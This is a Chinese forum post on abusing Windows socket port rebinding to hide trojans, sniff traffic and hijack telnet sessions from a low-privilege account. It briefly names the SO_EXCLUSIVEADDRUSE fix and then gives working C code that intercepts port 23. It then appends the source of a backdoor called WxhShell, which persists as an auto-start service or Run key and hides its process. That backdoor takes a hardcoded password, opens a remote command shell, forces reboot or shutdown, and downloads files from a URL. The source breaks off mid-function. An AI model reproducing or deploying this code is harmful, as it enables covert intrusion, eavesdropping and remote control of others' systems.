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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~EYsUC#B_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); br@GnjG  
?Ek 3<7d  
  saddr.sin_family = AF_INET; XI4le=^EM  
*]L(,_:"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )# ^5$5  
v/W\k.?q/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :h4Nfz(  
&#keI.,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  j|Q*L<J  
aFCma2  
  这意味着什么?意味着可以进行如下的攻击: @X_<y  
8uj;RG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [,s{/32s  
 j-H2h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a&'!g)d  
q<5AB{Oj?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 aP#nK  
k9V#=,K0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K,ccM[hu|  
8'niew 5d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ia> 07av  
b7thu5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PWch9p0U  
,YEwz3$5u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2j9+ f{ l  
s)gUvS\  
  #include *0EB{T1  
  #include 2J>v4EWC  
  #include 0 `Yg  
  #include    Cb`2"mpWS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *B$$6'hi`  
  int main() 91|0{1  
  { OA_WjTwDs  
  WORD wVersionRequested; 'Gr}<B$A3  
  DWORD ret; Q+Sx5JUR~  
  WSADATA wsaData; vz\^Aa #fv  
  BOOL val; Ng1{ NI+S  
  SOCKADDR_IN saddr; SxAZ2|/-  
  SOCKADDR_IN scaddr; jrF#DDH?I  
  int err; /h.hFM/  
  SOCKET s; |%V-|\GJ~j  
  SOCKET sc; g>@T5&1q*  
  int caddsize; RotWMGNK  
  HANDLE mt; lQkCA-  
  DWORD tid;   M%U1?^j8  
  wVersionRequested = MAKEWORD( 2, 2 ); +2qCH^80  
  err = WSAStartup( wVersionRequested, &wsaData ); z 1~2w:  
  if ( err != 0 ) { E`M, n ,  
  printf("error!WSAStartup failed!\n"); n`W7g@Sg#I  
  return -1; Rxl )[\A*  
  } n7CwGN%  
  saddr.sin_family = AF_INET; lhp.zl  
   ^V5VRGq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 JemB[  
Te\i;7;4u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pGwBhZnb>  
  saddr.sin_port = htons(23); /=+y[y3`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 53g(:eB  
  { ` oPUf!  
  printf("error!socket failed!\n"); %^zGM^PD  
  return -1; IP#?$X  
  } u0s25JY.%  
  val = TRUE; ,MmX(O0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  D|8Pe{`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r+yl{  
  { wjRv =[  
  printf("error!setsockopt failed!\n"); T@{ }!  
  return -1; y)Y0SY1\j  
  } q'% cVM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; = Ff2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $G,#nh2 oD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n'i~1pM,?  
UP+4xG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4^OPzg6Z%p  
  { bvR0?xn q  
  ret=GetLastError(); {&I3qk2(  
  printf("error!bind failed!\n"); 6 _Cc+}W  
  return -1; Ig.9:v`  
  } )<>1Q{j@  
  listen(s,2); Klv~#9Si  
  while(1) JX $vz*KF  
  { Qf$3!O}G  
  caddsize = sizeof(scaddr); 1( nK|  
  //接受连接请求 oh @|*RU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vz87]InI  
  if(sc!=INVALID_SOCKET) zCuN 8  
  { fG`<L;wi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /XeCJxo8  
  if(mt==NULL) ws_/F  
  { O{Y_j&1  
  printf("Thread Creat Failed!\n"); x&['g*[L0  
  break; 01br l^5K  
  } B]_NI=d  
  } r ?e''r  
  CloseHandle(mt); !#b8QER  
  } 9_/dj"5  
  closesocket(s); Vs:x3)m5j  
  WSACleanup();  mRYM,   
  return 0; yE3l%<;q  
  }   av; ~e<  
  DWORD WINAPI ClientThread(LPVOID lpParam) SI~MTUqt  
  { LOPw0@  
  SOCKET ss = (SOCKET)lpParam; :krdG%r  
  SOCKET sc; m7n8{J1O2  
  unsigned char buf[4096]; EPn0ZwnS:M  
  SOCKADDR_IN saddr; Ra~|;( %d  
  long num; Y!0ZwwW  
  DWORD val; k04CSzE"%  
  DWORD ret; eGEeWJ}[$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M{   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t:N3k ;k  
  saddr.sin_family = AF_INET; =]Vrl-a`^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q=}U  
  saddr.sin_port = htons(23); Nfdh0v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o'hwyXy/S  
  { \-F F[:|J  
  printf("error!socket failed!\n"); ky^u.+cZ  
  return -1; {CVn&|}J  
  } Zf [#~4  
  val = 100; V9SkB3-'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ndB [f  
  { ^5-8'9w  
  ret = GetLastError(); $,&3:ke1  
  return -1; nN|1cJ'.Fk  
  } `{ 6K~(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jeLC)lQ*  
  { {YT@$K]w,  
  ret = GetLastError(); !92zC._  
  return -1; c1CUG1i  
  } +o*&JoC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~a RK=i$F  
  { 9U=~t%qW$  
  printf("error!socket connect failed!\n"); Ga9^+.j  
  closesocket(sc); wFHz<i!jr&  
  closesocket(ss); ta)'z@V@g  
  return -1; !}$,) ~<+H  
  } oDvE0"Sz  
  while(1) /OaW4 b$Tz  
  { #sg^l>/*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m~x O;_m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6t0-u~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *(pmFEc  
  num = recv(ss,buf,4096,0); X61p xPa  
  if(num>0) fg8"fbG`:  
  send(sc,buf,num,0); )K"7=TvY  
  else if(num==0) EWX!:BKf  
  break; p0b2n a !  
  num = recv(sc,buf,4096,0); no`>r}C  
  if(num>0) }@'Zt6+tS  
  send(ss,buf,num,0); zK@DQ5  
  else if(num==0) s+jL BY  
  break; -NgL4?p=  
  } <:gNx%R  
  closesocket(ss); m-h+UKt  
  closesocket(sc); MRn;D|Q  
  return 0 ; D3MRRv#  
  } }0(.HMiGj  
h,u?3}Knnb  
zwEZ?m!  
========================================================== +_E\Omcw  
}-8ZSWog6f  
下边附上一个代码,,WXhSHELL WXgGB[x  
bf2B  
========================================================== O*%@(w6  
',g'Tl^E  
#include "stdafx.h" <8_~60  
j1 Q"s(  
#include <stdio.h> ^]A,Q%1q^  
#include <string.h> $^XCI%DH  
#include <windows.h> {G^f/%  
#include <winsock2.h> P+j5_V{\b  
#include <winsvc.h> q4wS<, 3  
#include <urlmon.h> )?zlhsu}1;  
<Jwx|  
#pragma comment (lib, "Ws2_32.lib") >I^_kBa  
#pragma comment (lib, "urlmon.lib") =SEgv;#KZ~  
mO1r~-~AJ  
#define MAX_USER   100 // 最大客户端连接数 dRXEF6G  
#define BUF_SOCK   200 // sock buffer FWJhi$\:D]  
#define KEY_BUFF   255 // 输入 buffer .dvOUt I[  
-%g&O-i\  
#define REBOOT     0   // 重启 L=1~)>mP  
#define SHUTDOWN   1   // 关机 |[lmW%  
BA 9c-Ay  
#define DEF_PORT   5000 // 监听端口 ?-HLP%C('  
vXP+*5d/ K  
#define REG_LEN     16   // 注册表键长度 y {PUkl q  
#define SVC_LEN     80   // NT服务名长度 +YA,HhX9  
zP(UaSXz/  
// 从dll定义API d2!A32m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B{^ojV;]m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G7yR&x^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m[t4XK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); btV Tt5  
nR2pqaKc  
// wxhshell配置信息 lz-t+LD@ST  
struct WSCFG { &0='z  
  int ws_port;         // 监听端口 Pgp`g.$<  
  char ws_passstr[REG_LEN]; // 口令 HLYTt)f}  
  int ws_autoins;       // 安装标记, 1=yes 0=no }bZcVc2  
  char ws_regname[REG_LEN]; // 注册表键名 ^ rB7&96C,  
  char ws_svcname[REG_LEN]; // 服务名 2[; 4D/`*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GqT 0SP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jLy3c@Dp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y>l92=G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ee+*&CT)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <PayP3E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2VgDM6h  
d>f.p"B.gj  
}; 0kp#+&)+  
Q-qM"8I  
// default Wxhshell configuration P t)Ni  
struct WSCFG wscfg={DEF_PORT, 8>KBh)q  
    "xuhuanlingzhe", "yo~;[  
    1, (r]3tGp  
    "Wxhshell", _K#LOSMfj/  
    "Wxhshell", 6hvmp  
            "WxhShell Service", 42Vz6 k:  
    "Wrsky Windows CmdShell Service", <.HDv:  
    "Please Input Your Password: ", q|N/vkqPz  
  1, !jIpgs5  
  "http://www.wrsky.com/wxhshell.exe", S=R}#  
  "Wxhshell.exe" yL#bZ9W }  
    }; >Wbt_%dKy  
l1utk8'-  
// 消息定义模块 :4(.S<fH)-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L#|, _j=9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yl#(jb[?1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5^}"Tn4I  
char *msg_ws_ext="\n\rExit."; ycr\vn t  
char *msg_ws_end="\n\rQuit."; T/$6ov+K  
char *msg_ws_boot="\n\rReboot..."; Z^ e?V7q  
char *msg_ws_poff="\n\rShutdown..."; %v_w"2x;  
char *msg_ws_down="\n\rSave to "; !&ly :v!  
=DT7]fU  
char *msg_ws_err="\n\rErr!"; +$b_,s  
char *msg_ws_ok="\n\rOK!";  wP <)  
]0+5@c  
char ExeFile[MAX_PATH]; x<S?"  
int nUser = 0; 5dPPm%U{  
HANDLE handles[MAX_USER]; uzA_Zjx  
int OsIsNt; )l|/lj  
O'OVj  
SERVICE_STATUS       serviceStatus; W_C#a'$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f-O`Pp FQ  
%nmD>QCe  
// 函数声明 6]/LrM,23  
int Install(void); h dw~AGO#  
int Uninstall(void); >H*?ktcW  
int DownloadFile(char *sURL, SOCKET wsh); F_?aoP&5  
int Boot(int flag); @ z{E  
void HideProc(void); PS13h_j  
int GetOsVer(void); Buue][[  
int Wxhshell(SOCKET wsl); ];vEj*jCX  
void TalkWithClient(void *cs); c5($*tTT  
int CmdShell(SOCKET sock); has \W\(  
int StartFromService(void); ^F*G  
int StartWxhshell(LPSTR lpCmdLine); h5x_Vjj  
+] .Zs<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G/w&yd4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O7MFKAaD  
l.V{H<v}  
// 数据结构和表定义 o!";&\,Ip  
SERVICE_TABLE_ENTRY DispatchTable[] = 8l, R|$RKP  
{ mo$`a6[h<  
{wscfg.ws_svcname, NTServiceMain}, |BO!q9633V  
{NULL, NULL} ]4$t'wI.  
}; !@r1B`]j+"  
2}ttC m  
// 自我安装 _aR_ [  
int Install(void) {!$E\e^d  
{ iEtnwSt  
  char svExeFile[MAX_PATH]; L ~,x~sLd  
  HKEY key; mX2(SFpJar  
  strcpy(svExeFile,ExeFile); }! jk  
I1IuvH6  
// 如果是win9x系统,修改注册表设为自启动 <Ag`pZ<s  
if(!OsIsNt) { aWG7k#nE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ed(6%kd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y\Z.E ;  
  RegCloseKey(key); rhLm2q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uh][qMyLM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^ RS?y8  
  RegCloseKey(key); g.& n X/  
  return 0; %LH~Im=  
    } Spnshv8  
  } Nan@SuKY  
} %`kO\q_  
else { 7V^\fh5~  
E&}@P0^  
// 如果是NT以上系统,安装为系统服务 VSW:h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U X?EOrfJ  
if (schSCManager!=0) 'T8(md299  
{ D9cpw0{nc  
  SC_HANDLE schService = CreateService .+;;-]})  
  ( Y"x9B%e  
  schSCManager, gCVgL]jj(  
  wscfg.ws_svcname, y)s+/Teb  
  wscfg.ws_svcdisp, *~t&Ux#hj  
  SERVICE_ALL_ACCESS, vy <(1\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <3[,bTIk  
  SERVICE_AUTO_START, Y [hTO.LF  
  SERVICE_ERROR_NORMAL, yBd#*3K1  
  svExeFile, U]aH4 N  
  NULL, K>"]*#aBv  
  NULL, GW]b[l  
  NULL, }# ~DX!Sj  
  NULL, Fp_?1 y  
  NULL u~WE} VC  
  ); Ik4FVL8~  
  if (schService!=0) hzT,0<nw  
  { 1Q&\y)@bT  
  CloseServiceHandle(schService); D8`dEB2|S  
  CloseServiceHandle(schSCManager); oj|\NlR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .4jU G=  
  strcat(svExeFile,wscfg.ws_svcname); z qM:'x*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Au-_6dT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @Kx@ 2#~b  
  RegCloseKey(key); s/;iZiWK  
  return 0; 8f\sG:$  
    } +A 4};]W|  
  } @w%{yzr%  
  CloseServiceHandle(schSCManager); b,Z\{M:f;F  
} Kzj9!'0R  
} Gu3# y"a>  
&YSjwRr  
return 1; (?G?9M#7_  
} -3z$~ {  
,)S(SnCF  
// 自我卸载 Kx-s95t  
int Uninstall(void) C EzTErn  
{ _{eH" ,(  
  HKEY key; >uu ]K  
zA~aiX  
if(!OsIsNt) { %\ifnIQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o=&tT,z  
  RegDeleteValue(key,wscfg.ws_regname); p\"WX  
  RegCloseKey(key); lURL;h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6X2~30pdE  
  RegDeleteValue(key,wscfg.ws_regname); 5IwQ <V  
  RegCloseKey(key); WOv m%sX  
  return 0; {^Y0kvnd  
  } *!~jHy8F  
} $KmhG1*s  
} #RJFJb/  
else { 4axc05  
ceW,A`J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F2B9Q_>P  
if (schSCManager!=0) g RX`61  
{ T i{~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X\ Y:9^5  
  if (schService!=0) zqDG#}3f^  
  { STr&"9c  
  if(DeleteService(schService)!=0) { zKnHo:SV  
  CloseServiceHandle(schService); %, U@ D4w  
  CloseServiceHandle(schSCManager); 55mDLiA  
  return 0; l"C)Ia&/  
  } |#87|XIJ&~  
  CloseServiceHandle(schService); 8hKyp5(%l  
  } K&\3j-8^  
  CloseServiceHandle(schSCManager); yY 3Mv/R  
} uT#MVv~.  
} b?=>)':f  
j06Xz\c  
return 1; Zx1I&K\Cd  
} 0~)_/yx?S  
@CxXkR  
// 从指定url下载文件 }'"4q  
int DownloadFile(char *sURL, SOCKET wsh) UC u4S >  
{ -C>q,mDJZ  
  HRESULT hr; bG'"l qn  
char seps[]= "/"; 5bfd8C  
char *token; uB`H9  
char *file; wva| TZ  
char myURL[MAX_PATH]; 5ree3 quh  
char myFILE[MAX_PATH]; T!iRg=<bz  
XDot3)2`  
strcpy(myURL,sURL); "!fvEE  
  token=strtok(myURL,seps); Qd{h3K^hlu  
  while(token!=NULL) TB8a#bK4  
  { 'K"7Tex  
    file=token; jRCf!RO  
  token=strtok(NULL,seps); tH}$j  
  } _:ORu Vk  
5UTIGla  
GetCurrentDirectory(MAX_PATH,myFILE); o:.6{+|N  
strcat(myFILE, "\\"); HxH.=M8S_  
strcat(myFILE, file); m9&MTR D\  
  send(wsh,myFILE,strlen(myFILE),0); #VLO6  
send(wsh,"...",3,0); RfZZqe U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G;'=#c ^  
  if(hr==S_OK) W=$cQ(x4Z  
return 0; P+h p'YK1  
else UTThl2=+  
return 1; T VuDK  
Q)H1\  
} Mzbbr57n  
B <CK~ybY  
// 系统电源模块 WX2w7O'R  
int Boot(int flag) J[?7`6\M  
{ ](z?zDk  
  HANDLE hToken; /F3bZ3F  
  TOKEN_PRIVILEGES tkp; FTA[O.tiG  
|.qK69  
  if(OsIsNt) { :.K#=ROP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yw\7`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kJOSGrg  
    tkp.PrivilegeCount = 1; 5W(S~}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ToNRY<!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h|DKD.  
if(flag==REBOOT) { -%h0`hOG{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 60A E~  
  return 0; UP*\p79oO  
} nj@l5[  
else { +dt b~M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !OO{qw(*g  
  return 0; ckZZ)lW`*  
} C8J3^ ?7E  
  } >`@c9 m  
  else { tR;? o,T  
if(flag==REBOOT) { s*XwU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b')Lj]%;k  
  return 0; =,UuQJ,l  
} 3=SN;cn  
else { D+y_&+&,t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fuwv,[m  
  return 0; 8:iu 8c$  
} N@z+h  
} T9N&Nh7 3  
Ao%;!(\I%  
return 1; `2j \(N,  
} nCj_4,O  
9aE.jpN  
// win9x进程隐藏模块 T\Zq/Z\  
void HideProc(void) |.s#m^"  
{ RCS91[  
f a9n6uT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cITF=Ez  
  if ( hKernel != NULL ) :EX H8n&|  
  { N~w4|q!]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &)8-iO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gm]]Z_  
    FreeLibrary(hKernel); T{L{<+9%  
  } sbZ^BFqp  
x+L G4++  
return; 0%m}tfQ5  
} vE9M2[TJA  
 F%}0q&  
// 获取操作系统版本 p PF]&:&-b  
int GetOsVer(void) l9 K 3E<g  
{ E8:4Z$|c  
  OSVERSIONINFO winfo; *@C4~Zo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N1O& fMz  
  GetVersionEx(&winfo); s`bC?wr5h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A(xCW+h@)  
  return 1; (4U59<ie  
  else )ny,vcU]  
  return 0; {U`B|  
} .Fz5K&E=  
f +#  
// 客户端句柄模块 K}]0<\N  
int Wxhshell(SOCKET wsl) zW@OSKq4  
{ Z1(-FT6O  
  SOCKET wsh; T@GR Tg  
  struct sockaddr_in client; ()E:gq Q  
  DWORD myID; +hz^( I7  
'm;M+:l 6  
  while(nUser<MAX_USER) }x[d]fcC  
{ /$IF!q+C  
  int nSize=sizeof(client); is3nLm(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %Ps DS  
  if(wsh==INVALID_SOCKET) return 1; #&@qmps(T  
:\0q\2e[<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Se o3a6o  
if(handles[nUser]==0) "dKYJ&$  
  closesocket(wsh); $J~~.PUXQ  
else +Oae3VFf;  
  nUser++; >gt_C'  
  } XZcT-w 7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xr2ew%&o  
C~2/ 5  
  return 0; [":[\D'  
} jU#/yM "Y  
doCWJ   
// 关闭 socket kXj%thDx  
void CloseIt(SOCKET wsh) IZm_/  
{ iwHy!Vi-5  
closesocket(wsh); !U,^+"l'GP  
nUser--; -jZP&8dPH  
ExitThread(0); /nK)esB1L  
} bw@Dc T&,  
qM`XF32A$  
// 客户端请求句柄 _{EO9s2FG  
void TalkWithClient(void *cs) ez2 gy"  
{ nP9@yI*7  
(1bz.N8z  
  SOCKET wsh=(SOCKET)cs; `.# l_-U{  
  char pwd[SVC_LEN]; @G vDl=.  
  char cmd[KEY_BUFF]; G-U%  
char chr[1]; |~! R5|Q  
int i,j; CS 7"mE`{  
 s*gyk  
  while (nUser < MAX_USER) { z.H*"r  
lR!Sdd} -  
if(wscfg.ws_passstr) { (% fl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CfMq?.4%E}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LhZWK^!{S  
  //ZeroMemory(pwd,KEY_BUFF); /H)K_H#|;  
      i=0; o W)M&$oS  
  while(i<SVC_LEN) { n'/w(o$&  
:!a9|Fh~  
  // 设置超时 :<%q9)aPf`  
  fd_set FdRead; n2bL-  
  struct timeval TimeOut; 9o.WJ   
  FD_ZERO(&FdRead); (K$K;f$"r  
  FD_SET(wsh,&FdRead); GHHErXT\a  
  TimeOut.tv_sec=8; qYg4H|6  
  TimeOut.tv_usec=0; vqLC?{i+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d[.kGytUt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2`#jw)dM;}  
eSynw$F2N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ae,-. xJ  
  pwd=chr[0]; &bx;GG\<4  
  if(chr[0]==0xd || chr[0]==0xa) { 8wz4KG3SK  
  pwd=0; *G^n<p$"  
  break; #@,39!;,:O  
  } 8Ek<J+& |I  
  i++; #e.2m5T  
    } Na^1dn  
o~ .[sn5l-  
  // 如果是非法用户,关闭 socket W{Cc wq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q dKxuG  
} k]<  
V1KWi ^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NF1e>O:a<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =2#a@D6Bl  
i0uBb%GMT  
while(1) { u93=>S  
TB] %?L:  
  ZeroMemory(cmd,KEY_BUFF); 0f vQPs!O  
 6h N~<  
      // 自动支持客户端 telnet标准   @18"o"c7j  
  j=0; 40pGu  
  while(j<KEY_BUFF) { ^e$;I8l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,ZcW+!  
  cmd[j]=chr[0]; &\][:kG;  
  if(chr[0]==0xa || chr[0]==0xd) { pmyHto"  
  cmd[j]=0; J/j1Yf'9  
  break; 09"C&X~  
  } e{/(NtKf  
  j++; |U?5% L  
    } yhe$A<Rl=  
.~V0>r~my  
  // 下载文件 :X[(ymWNE  
  if(strstr(cmd,"http://")) { KQ3]'2q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FxSBxz<N-A  
  if(DownloadFile(cmd,wsh)) =:a H2T*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eL9 RrSXz  
  else @<--5HbX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -6MgC9]  
  } 4-[L^1%S[  
  else { 8WU UE=p  
[~ bfM6Jw  
    switch(cmd[0]) { ;C%40;Q  
  59";{"sw  
  // 帮助 -zg,pK$+  
  case '?': { CjM+%l0MW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $}<+~JpGfP  
    break; (yE?)s  
  } F\+wM*:U  
  // 安装 s+>""yi  
  case 'i': { ]]$s"F<  
    if(Install()) *L8Pj`zR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q44Pg$jp  
    else ks7g*; 3{@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U9IP`)z_5t  
    break; ;]?1i4p)  
    } W-%oj.BMA  
  // 卸载 ^~0Mw;n&  
  case 'r': { CU 2;m\Hc  
    if(Uninstall()) %'j)~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cTm oz.0  
    else s;q]:+#7g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xA]CtB*o7  
    break; <CJua1l\  
    } gF1q Z=<  
  // 显示 wxhshell 所在路径 vpx8GiV  
  case 'p': { .MuS"R{y  
    char svExeFile[MAX_PATH]; !o 2" th  
    strcpy(svExeFile,"\n\r"); .Vux~A  
      strcat(svExeFile,ExeFile); Ev IL[\Dy  
        send(wsh,svExeFile,strlen(svExeFile),0); !8vHN=)z  
    break; ys:1%D,,_  
    } z %` \p  
  // 重启 T%K(opISc(  
  case 'b': { XJsHy_6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =)m2u2c M  
    if(Boot(REBOOT)) UiA\J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~%_$e/T  
    else { h@FDP#H  
    closesocket(wsh); QRXsLdf$$  
    ExitThread(0); ^ng#J\  
    } zcD&xoL\H  
    break; 9H ?er_6Yf  
    } ?hvPPEJf  
  // 关机 j$^3  
  case 'd': { dlN(_6>b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aOfL;I  
